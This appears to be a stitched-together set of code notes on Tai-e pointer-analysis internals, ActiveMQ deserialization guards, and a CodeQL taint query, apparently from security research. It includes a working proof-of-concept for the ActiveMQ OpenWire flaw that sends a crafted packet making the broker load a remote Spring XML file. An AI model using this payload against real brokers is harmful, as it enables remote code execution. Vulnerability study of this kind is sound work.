class A {
    B b;
    void setB(B b) { this.b = b; }
    B getB() { return this.b; }
}

void foo() {
    A a = new A();
    B x = new B();
    a.setB(x);
    B y = a.getB();
}

public List<StoreField> getStoreFields() {
    return relevantStmts.getStoreFields();
}
Var$RelevantStmts

private List<StoreField> getStoreFields() {
    return unmodifiable(storeFields);
}

@Override
public void addPointsTo(Pointer pointer, PointsToSet pts) {
    workList.addEntry(pointer, pts);
}

@Override
public void addCallEdge(Edge<CSCallSite, CSMethod> edge) {
    workList.addEntry(edge);
}

public PointerAnalysisResult analyze() {
    AnalysisOptions options = getOptions();
    // 根据配置，生成heapModel 堆模型
    HeapModel heapModel = new AllocationSiteBasedModel(options);
    ContextSelector selector = null;
    String advanced = options.getString("advanced");
    // 根据配置中的cs字段，生成上下文管理器
    String cs = options.getString("cs");
    if (advanced != null) {
        if (advanced.equals("collection")) {
            selector = ContextSelectorFactory.makeSelectiveSelector(cs,
                    new CollectionMethods(World.get().getClassHierarchy()).get());
        } else {
            // run context-insensitive analysis as pre-analysis
            PointerAnalysisResult preResult = runAnalysis(heapModel,
                    ContextSelectorFactory.makeCISelector());
            if (advanced.startsWith("scaler")) {
                selector = Timer.runAndCount(() -> ContextSelectorFactory
                                .makeGuidedSelector(Scaler.run(preResult, advanced)),
                        "Scaler", Level.INFO);
            } else if (advanced.startsWith("zipper")) {
                selector = Timer.runAndCount(() -> ContextSelectorFactory
                                .makeSelectiveSelector(cs, Zipper.run(preResult, advanced)),
                        "Zipper", Level.INFO);
            } else if (advanced.equals("mahjong")) {
                heapModel = Timer.runAndCount(() -> Mahjong.run(preResult, options),
                        "Mahjong", Level.INFO);
            } else {
                throw new IllegalArgumentException(
                        "Illegal advanced analysis argument: " + advanced);
            }
        }
    }
    if (selector == null) {
        selector = ContextSelectorFactory.makePlainSelector(cs);
    }
    return runAnalysis(heapModel, selector);
}

private PointerAnalysisResult runAnalysis(HeapModel heapModel,
                                          ContextSelector selector) {
    AnalysisOptions options = getOptions();
    Solver solver = new DefaultSolver(options,
            heapModel, selector, new MapBasedCSManager());
    // The initialization of some Plugins may read the fields in solver,
    // e.g., contextSelector or csManager, thus we initialize Plugins
    // after setting all other fields of solver.
    setPlugin(solver, options);
    solver.solve();
    return solver.getResult();
}

private CSVar getCSVar(Context context, Var var) {
    return vars.computeIfAbsent(var, context,
            (v, c) -> new CSVar(v, c, counter++));
}

public void addEntryPoint(EntryPoint entryPoint) {
	// 空上下文
    Context entryCtx = contextSelector.getEmptyContext();
    // 入口函数，IR格式
    JMethod entryMethod = entryPoint.getMethod();
    // 组合成上下文方法
    CSMethod csEntryMethod = csManager.getCSMethod(entryCtx, entryMethod);
    // callGraph 添加
    callGraph.addEntryMethod(csEntryMethod);
    // 触发所有插件的新增CSMethod逻辑，具体逻辑看插件的处理
    // 注意这里会触发StmtProcessor，后文再讲
    addCSMethod(csEntryMethod);
    // 获取IR
    IR ir = entryMethod.getIR();
    // pass this objects
    if (!entryMethod.isStatic()) {
    	// 针对目前的entryPoint，获取this obj
        for (Obj thisObj : entryPoint.getThisObjs()) {
        	// 在workList中添加一条待处理的pointEntry
            // 其中Var为entryCtx和ir组合
            // Obj为entryCtx和this obj
            addVarPointsTo(entryCtx, ir.getThis(), entryCtx, thisObj);
        }
    }
    // 处理参数
    // pass parameter objects
    for (int i = 0; i < entryMethod.getParamCount(); ++i) {
        Var param = ir.getParam(i);
        // 判断是否是是配置的IR类型，比如
        // null，默认false
        // reference（ArrayType/ClassType），默认true
        // 内置primitiveType白名单
        if (propTypes.isAllowed(param)) {
        	// 每一个参数param及paramObj，放入WorkList队列中
            for (Obj paramObj : entryPoint.getParamObjs(i)) {
                addVarPointsTo(entryCtx, param, entryCtx, paramObj);
            }
        }
    }
}

private void analyze() {
    while (!workList.isEmpty() && !isTimeout) {
        WorkList.Entry entry = workList.pollEntry();
        if (entry instanceof WorkList.PointerEntry pEntry) {
            Pointer p = pEntry.pointer();
            PointsToSet pts = pEntry.pointsToSet();
            PointsToSet diff = propagate(p, pts);
            if (!diff.isEmpty() && p instanceof CSVar v) {
            	// 处理InstanceStore
                processInstanceStore(v, diff);
                processInstanceLoad(v, diff);
                processArrayStore(v, diff);
                processArrayLoad(v, diff);
                processCall(v, diff);
                plugin.onNewPointsToSet(v, diff);
            }
        } else if (entry instanceof WorkList.CallEdgeEntry eEntry) {
            processCallEdge(eEntry.edge());
        }
    }
    if (!workList.isEmpty() && isTimeout) {
        logger.warn("Pointer analysis stops early as it reaches time limit ({} seconds)," +
                " and the result may be unsound!", timeLimit);
    } else if (timeLimiter != null) { // finish normally but time limiter is still running
        timeLimiter.stop();
    }
    plugin.onFinish();
}

private void processInstanceStore(CSVar baseVar, PointsToSet pts) {
    Context context = baseVar.getContext();
    Var var = baseVar.getVar();
    // 获取Var中的StoreField，参考前文Var结构一节
    for (StoreField store : var.getStoreFields()) {
    	// 右侧的Var
        Var fromVar = store.getRValue();
        if (propTypes.isAllowed(fromVar)) {
            CSVar from = csManager.getCSVar(context, fromVar);
            // 获取filed
            JField field = store.getFieldRef().resolve();
            // pts每一个Obj
            pts.forEach(baseObj -> {
            	// 
                if (baseObj.getObject().isFunctional()) {
                	// 获取其对应的field
                    InstanceField instField = csManager.getInstanceField(baseObj, field);
                    // 如课件图，在最终的PFG图中，增加一条oi->oj的边
                    addPFGEdge(from, instField, FlowKind.INSTANCE_STORE);
                }
            });
        }
    }
}

public void addPFGEdge(Pointer source, Pointer target, FlowKind kind,
                       Transfer transfer) {
    // source的边Edge添加一条边
    PointerFlowEdge edge = pointerFlowGraph.getOrAddEdge(kind, source, target);
    if (edge != null && edge.addTransfer(transfer)) {
    	// 获取source原本的pts
        PointsToSet targetSet = transfer.apply(edge, getPointsToSetOf(source));
        if (!targetSet.isEmpty()) {
        	// 添加到workList中
            addPointsTo(target, targetSet);
        }
    }
}

public PointerFlowEdge getOrAddEdge(FlowKind kind, Pointer source, Pointer target) {
	// Var中添加一条边
    return source.getOrAddEdge(kind, source, target);
}

public PointerFlowEdge getOrAddEdge(FlowKind kind, Pointer source, Pointer target) {
    if (successors.add(target)) {
        PointerFlowEdge edge = new PointerFlowEdge(kind, source, target);
        outEdges.add(edge);
        return edge;
    } else if (kind == FlowKind.OTHER) {
        for (PointerFlowEdge edge : outEdges) {
            if (edge.target().equals(target)) {
                return edge;
            }
        }
    }
    return null;
}

private void processInstanceLoad(CSVar baseVar, PointsToSet pts) {
    Context context = baseVar.getContext();
    Var var = baseVar.getVar();
    for (LoadField load : var.getLoadFields()) {
        Var toVar = load.getLValue();
        if (propTypes.isAllowed(toVar)) {
            CSVar to = csManager.getCSVar(context, toVar);
            JField field = load.getFieldRef().resolve();
            pts.forEach(baseObj -> {
                if (baseObj.getObject().isFunctional()) {
                    InstanceField instField = csManager.getInstanceField(baseObj, field);
                    addPFGEdge(instField, to, FlowKind.INSTANCE_LOAD);
                }
            });
        }
    }
}

private void processArrayLoad(CSVar arrayVar, PointsToSet pts) {
    Context context = arrayVar.getContext();
    Var var = arrayVar.getVar();
    for (LoadArray load : var.getLoadArrays()) {
        Var lvalue = load.getLValue();
        if (propTypes.isAllowed(lvalue)) {
            CSVar to = csManager.getCSVar(context, lvalue);
            pts.forEach(array -> {
                if (array.getObject().isFunctional()) {
                    ArrayIndex arrayIndex = csManager.getArrayIndex(array);
                    addPFGEdge(arrayIndex, to, FlowKind.ARRAY_LOAD);
                }
            });
        }
    }
}

String content = args[0];
String methodNmae = args[1];
InvokeDemo tt = new InvokeDemo(content);
// 1. 测试污点为参数
Method method = tt.getClass().getMethod("echo", String.class);
method.invoke(tt, content);

// 2. 测试污点为method
Method method2 = tt.getClass().getMethod(methodNmae);
method2.invoke(tt);
upload successful

private void processCall(CSVar recv, PointsToSet pts) {
    Context context = recv.getContext();
    Var var = recv.getVar();
    for (Invoke callSite : var.getInvokes()) {
        pts.forEach(recvObj -> {
            // resolve callee
            // 获取method
            JMethod callee = CallGraphs.resolveCallee(
                    recvObj.getObject().getType(), callSite);
            if (callee != null) {
                // select context
                // 获取method上下文
                // 注意这里method上下文的获取方式，后续上下文敏感再详细跟踪
                CSCallSite csCallSite = csManager.getCSCallSite(context, callSite);
                Context calleeContext = contextSelector.selectContext(
                        csCallSite, recvObj, callee);
                // build call edge
                CSMethod csCallee = csManager.getCSMethod(calleeContext, callee);
                // 增加一条CallEdge，放入WorkList
                addCallEdge(new Edge<>(CallGraphs.getCallKind(callSite),
                        csCallSite, csCallee));
                // pass receiver object to *this* variable
                // 
                if (!isIgnored(callee)) {
                	// 这个逻辑还是比较简单的，没有想象中复杂
                    // 就是将method里面的this，指向调用者原本的pts
                    addVarPointsTo(calleeContext, callee.getIR().getThis(),
                            recvObj);
                }
            } else {
                plugin.onUnresolvedCall(recvObj, context, callSite);
            }
        });
    }
}

private boolean isIgnored(JMethod method) {
    return ignoredMethods.contains(method) ||
            onlyApp && !method.isApplication();
}

public void addCSMethod(CSMethod csMethod) {
    if (callGraph.addReachableMethod(csMethod)) {
        // process new reachable context-sensitive method
        JMethod method = csMethod.getMethod();
        if (isIgnored(method)) {
            return;
        }
        processNewMethod(method);
        addStmts(csMethod, method.getIR().getStmts());
        plugin.onNewCSMethod(csMethod);
    }
}

public void addStmts(CSMethod csMethod, Collection<Stmt> stmts) {
    stmtProcessor.process(csMethod, stmts);
}

public Obj getObj(New allocSite) {
    Type type = allocSite.getRValue().getType();
    if (isMergeStringObjects && type.equals(string)) {
        return getMergedObj(allocSite);
    }
    if (isMergeStringBuilders &&
            (type.equals(stringBuilder) || type.equals(stringBuffer))) {
        return getMergedObj(allocSite);
    }
    if (isMergeExceptionObjects && typeSystem.isSubtype(throwable, type)) {
        return getMergedObj(allocSite);
    }
    return doGetObj(allocSite);
}

protected Obj doGetObj(New allocSite) {
    return getNewObj(allocSite);
}

protected NewObj getNewObj(New allocSite) {
    return newObjs.computeIfAbsent(allocSite,
            site -> add(new NewObj(site)));
}

protected <T extends Obj> T add(T obj) {
    objs.add(obj);
    obj.setIndex(counter++);
    return obj;
}

NewObj(New allocSite) {
    this.allocSite = allocSite;
}

public Void visit(Copy stmt) {
    Var rvalue = stmt.getRValue();
    if (propTypes.isAllowed(rvalue)) {
        CSVar from = csManager.getCSVar(context, rvalue);
        CSVar to = csManager.getCSVar(context, stmt.getLValue());
        addPFGEdge(from, to, FlowKind.LOCAL_ASSIGN);
    }
    return null;
}

public Void visit(LoadField stmt) {
    if (stmt.isStatic() && propTypes.isAllowed(stmt.getRValue())) {
        JField field = stmt.getFieldRef().resolve();
        StaticField sfield = csManager.getStaticField(field);
        CSVar to = csManager.getCSVar(context, stmt.getLValue());
        addPFGEdge(sfield, to, FlowKind.STATIC_LOAD);
    }
    return null;
}

public Void visit(StoreField stmt) {
    if (stmt.isStatic() && propTypes.isAllowed(stmt.getRValue())) {
        JField field = stmt.getFieldRef().resolve();
        StaticField sfield = csManager.getStaticField(field);
        CSVar from = csManager.getCSVar(context, stmt.getRValue());
        addPFGEdge(from, sfield, FlowKind.STATIC_STORE);
    }
    return null;
}

public Void visit(Invoke stmt) {
    if (stmt.isStatic()) {
        processInvokeStatic(stmt);
    }
    return null;
}

private void processInvokeStatic(Invoke callSite) {
    JMethod callee = CallGraphs.resolveCallee(null, callSite);
    if (callee != null) {
        CSCallSite csCallSite = csManager.getCSCallSite(context, callSite);
        Context calleeCtx = contextSelector.selectContext(csCallSite, callee);
        CSMethod csCallee = csManager.getCSMethod(calleeCtx, callee);
        // 增加一条调用边，交由processCallEdge去处理
        addCallEdge(new Edge<>(CallKind.STATIC, csCallSite, csCallee));
    }
}

private void processCallEdge(Edge<CSCallSite, CSMethod> edge) {
	// callGraph 添加调用
    if (callGraph.addEdge(edge)) {
        // process new call edge
        CSMethod csCallee = edge.getCallee();
        // addCSMethod 分析被调用的Method
        addCSMethod(csCallee);
        if (edge.getKind() != CallKind.OTHER
                && !isIgnored(csCallee.getMethod())) {
            Context callerCtx = edge.getCallSite().getContext();
            Invoke callSite = edge.getCallSite().getCallSite();
            Context calleeCtx = csCallee.getContext();
            JMethod callee = csCallee.getMethod();
            InvokeExp invokeExp = callSite.getInvokeExp();
            // pass arguments to parameters
            for (int i = 0; i < invokeExp.getArgCount(); ++i) {
                Var arg = invokeExp.getArg(i);
                if (propTypes.isAllowed(arg)) {
                    Var param = callee.getIR().getParam(i);
                    CSVar argVar = csManager.getCSVar(callerCtx, arg);
                    CSVar paramVar = csManager.getCSVar(calleeCtx, param);
                    // 对于每一个参数
                    // 增加一条调用者参数到method参数的PFG边
                    addPFGEdge(argVar, paramVar, FlowKind.PARAMETER_PASSING);
                }
            }
            // pass results to LHS variable
            Var lhs = callSite.getResult();
            if (lhs != null && propTypes.isAllowed(lhs)) {
                CSVar csLHS = csManager.getCSVar(callerCtx, lhs);
                for (Var ret : callee.getIR().getReturnVars()) {
                    if (propTypes.isAllowed(ret)) {
                        CSVar csRet = csManager.getCSVar(calleeCtx, ret);
                        // 结果和调用callsite左值关联，添加一条PFG边
                        addPFGEdge(csRet, csLHS, FlowKind.RETURN);
                    }
                }
            }
        }
        plugin.onNewCallEdge(edge);
    }
}

BaseDataStreamMarshaller#createThrowable
	BaseDataStreamMarshaller#tightUnmarsalThrowable
	BaseDataStreamMarshaller#looseUnmarsalThrowable
    	MessageAckMarshaller#tightUnmarshal
        ConnectionErrorMarshaller#tightUnmarshal
        ExceptionResponseMarshaller#tightUnmarshal
        	OpenWireFormat#doUnmarshal
            	OpenWireFormat#unmarshal(ByteSequence sequence)
                OpenWireFormat#unmarshal(DataInput dis)
            OpenWireFormat#tightUnmarshalNestedObject

OpenWireFormat#unmarshal
	TcpTransport#readCommand
    	TcpTransport#doRun
        	TcpTransport#run

protected void doStart() throws Exception {
    runner = new Thread(null, this, "ActiveMQ Transport: " + toString(), stackSize);
    runner.setDaemon(daemon);
    runner.start();
}

public class TcpTransport extends TransportThreadSupport implements Transport, Service, Runnable {
	TcpTransport extends TransportThreadSupport

    protected void doStart() throws Exception {
        connect();
        stoppedLatch.set(new CountDownLatch(1));
        super.doStart();
    }
}

public class ExceptionResponseMarshallerPoc {
    private static final String BROKER_URL = "tcp://localhost:61616";
    private static final Boolean NON_TRANSACTED = false;
    private static final long TIMEOUT = 20000;

    public static void main(String[] args) throws IOException {
        String ip=""; //服务器端ip地址
        int port=61616; //端口号
        Socket sck=new Socket(ip,port);
        //2.传输内容
        DataOutputStream out = null;
        DataInputStream in = null;
        out = new DataOutputStream(new BufferedOutputStream(new
                FileOutputStream("test.txt")));
        out.writeInt(32);
        out.writeByte(31);
        out.writeInt(1);
        out.writeBoolean(true);
        out.writeInt(1);
        out.writeBoolean(true);
        out.writeBoolean(true);
        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
        out.writeBoolean(true);
        out.writeUTF("http://127.0.0.1/spring_poc.xml");
        out.close();
        in = new DataInputStream(new BufferedInputStream(new FileInputStream("test.txt")));
        OutputStream os=sck.getOutputStream();
        int length = in.available();
        byte[] buf = new byte[length];
        in.readFully(buf);
        os.write(buf);
        in.close();
        sck.close();
    }
}

private static class MessageDatabaseObjectInputStream extends ObjectInputStream {

    public MessageDatabaseObjectInputStream(InputStream is) throws IOException {
        super(is);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!(desc.getName().startsWith("java.lang.")
                || desc.getName().startsWith("com.thoughtworks.xstream")
                || desc.getName().startsWith("java.util.")
                || desc.getName().length() > 2 && desc.getName().substring(2).startsWith("java.util.") // Allow arrays
                || desc.getName().startsWith("org.apache.activemq."))) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }

public class ClassLoadingAwareObjectInputStream extends ObjectInputStream {
    public static final String[] serializablePackages;
    static {
        serializablePackages = System.getProperty("org.apache.activemq.SERIALIZABLE_PACKAGES","java.lang,org.apache.activemq,org.fusesource.hawtbuf,com.thoughtworks.xstream.mapper").split(",");
    }

private void checkSecurity(Class clazz) throws ClassNotFoundException {
    if (trustAllPackages() || clazz.isPrimitive()) {
        return;
    }

    boolean found = false;
    Package thePackage = clazz.getPackage();
    if (thePackage != null) {
        for (String trustedPackage : getTrustedPackages()) {
            if (thePackage.getName().equals(trustedPackage) || thePackage.getName().startsWith(trustedPackage + ".")) {
                found = true;
                break;
            }
        }
        if (!found) {
            throw new ClassNotFoundException("Forbidden " + clazz + "! This class is not trusted to be serialized as ObjectMessage payload. Please take a look at http://activemq.apache.org/objectmessage.html for more information on how to configure trusted classes.");
        }
    }
}

private static class SubSelectorClassObjectInputStream extends ObjectInputStream {

    public SubSelectorClassObjectInputStream(InputStream is) throws IOException {
        super(is);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!(desc.getName().startsWith("java.lang.")
                || desc.getName().startsWith("com.thoughtworks.xstream")
                || desc.getName().startsWith("java.util.")
                || desc.getName().length() > 2 && desc.getName().substring(2).startsWith("java.util.") // Allow arrays
                || desc.getName().startsWith("org.apache.activemq."))) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

public class ActiveMQObjectMessage extends ActiveMQMessage implements ObjectMessage, TransientInitializer {
    private transient List<String> trustedPackages = Arrays.asList(ClassLoadingAwareObjectInputStream.serializablePackages);
    private transient boolean trustAllPackages = false;
    protected transient Serializable object;

private Serializable deserialize(ByteSequence content) throws JMSException {
    Serializable object = null;

    if (content != null) {
        try {
            InputStream is = new ByteArrayInputStream(content);
            if (isCompressed()) {
                is = new InflaterInputStream(is);
            }
            DataInputStream dataIn = new DataInputStream(is);
            ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
            objIn.setTrustedPackages(trustedPackages);
            objIn.setTrustAllPackages(trustAllPackages);
            try {
                object = (Serializable)objIn.readObject();
            } catch (ClassNotFoundException ce) {
                throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);
            } finally {
                dataIn.close();
            }
        } catch (IOException e) {
            throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);
        }
    }
    return object;
}

public void setTrustedPackages(List<String> trustedPackages) {
    this.trustedPackages = trustedPackages;
}

public boolean isTrustAllPackages() {
    return trustAllPackages;
}

public void setTrustAllPackages(boolean trustAllPackages) {
    this.trustAllPackages = trustAllPackages;
}

public Object readObject() throws JMSException {
    initializeReading();
    try {
        this.dataIn.mark(65);
        if (type == -1) {
        ...
        } else {
            this.dataIn.reset();
            throw new MessageFormatException("unknown type");
        }            

public Object readObject() throws JMSException {
    this.checkWriteOnlyBody();
    this.checkBytesInFlight();
    Object result = null;
    Object value = this.facade.peek();
    if (value == null) {
        result = null;
    ...
    } else {
        if (!(value instanceof byte[])) {
            throw new MessageFormatException("Unknown type found in stream");
        }

        byte[] original = (byte[])value;
        result = new byte[original.length];
        System.arraycopy(original, 0, result, 0, original.length);
    }

/**
 * @kind path-problem
 */
import java
import NewInstanceConfigFlow::PathGraph
import semmle.code.java.dataflow.DataFlow
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.ExternalFlow
 
module NewInstanceConfig implements DataFlow::ConfigSig {
  int fieldFlowBranchLimit() { result = 10 }

  predicate isSource(DataFlow::Node source) {
    source instanceof RemoteFlowSource
  }

  predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess ma | 
        ma.getArgument(0) = sink.asExpr()
      | 
        ma.getMethod().hasName("newInstance") and
        ma.getMethod().getDeclaringType().hasQualifiedName("java.lang.reflect", "Constructor<>")
      )
  }
}

module NewClassConfig implements DataFlow::ConfigSig {
  int fieldFlowBranchLimit() { result = 10 }

  predicate isSource(DataFlow::Node source) {
    source instanceof RemoteFlowSource
  }

  predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess ma | 
        ma.getArgument(0) = sink.asExpr()
      | 
        ma.getMethod().hasName("forName")
        and ma.getMethod().getDeclaringType().hasQualifiedName("java.lang", "Class")
    )
  }
}

module Class2ConstructorConfig implements DataFlow::ConfigSig {
  int fieldFlowBranchLimit() { result = 10 }

  predicate isSource(DataFlow::Node source) {
    exists(MethodAccess ma | 
      ma.getArgument(0) = source.asExpr()
    | 
      ma.getMethod().hasName("forName")
      and ma.getMethod().getDeclaringType().hasQualifiedName("java.lang", "Class")
    )
  }

  predicate isSink(DataFlow::Node sink) {
    exists(MethodAccess ma | 
      ma.getArgument(0) = sink.asExpr()
    | 
      ma.getMethod().hasName("newInstance") and 
      ma.getMethod().getDeclaringType().hasQualifiedName("java.lang.reflect", "Constructor<>")
    )
  }

  predicate isAdditionalFlowStep(DataFlow::Node node1, DataFlow::Node node2) {
    exists(MethodAccess ma | 
      node1.asExpr() = ma.getQualifier() and 
      node2.asExpr() = ma.getArgument(0)
      |
      ma.getMethod().hasName("newInstance") and 
      ma.getMethod().getDeclaringType().hasQualifiedName("java.lang.reflect", "Constructor<>")
    )
  }
}

module NewInstanceConfigFlow = TaintTracking::Global<NewInstanceConfig>;
module NewClassConfigFlow = TaintTracking::Global<NewClassConfig>;
module Class2ConstructorConfigFlow = TaintTracking::Global<Class2ConstructorConfig>;

from NewInstanceConfigFlow::PathNode source, NewInstanceConfigFlow::PathNode sink
  , NewClassConfigFlow::PathNode source2, NewClassConfigFlow::PathNode sink2
  , Class2ConstructorConfigFlow::PathNode source3, Class2ConstructorConfigFlow::PathNode sink3
where NewInstanceConfigFlow::flowPath(source, sink)
  and NewClassConfigFlow::flowPath(source2, sink2)
  and Class2ConstructorConfigFlow::flowPath(source3, sink3)
  and source.getNode() = source2.getNode()
  and sink2.getNode() = source3.getNode()
  and sink.getNode() = sink3.getNode()
select sink, source, sink, "$@ -> $@", source, source.toString()
  , sink2, sink2.toString()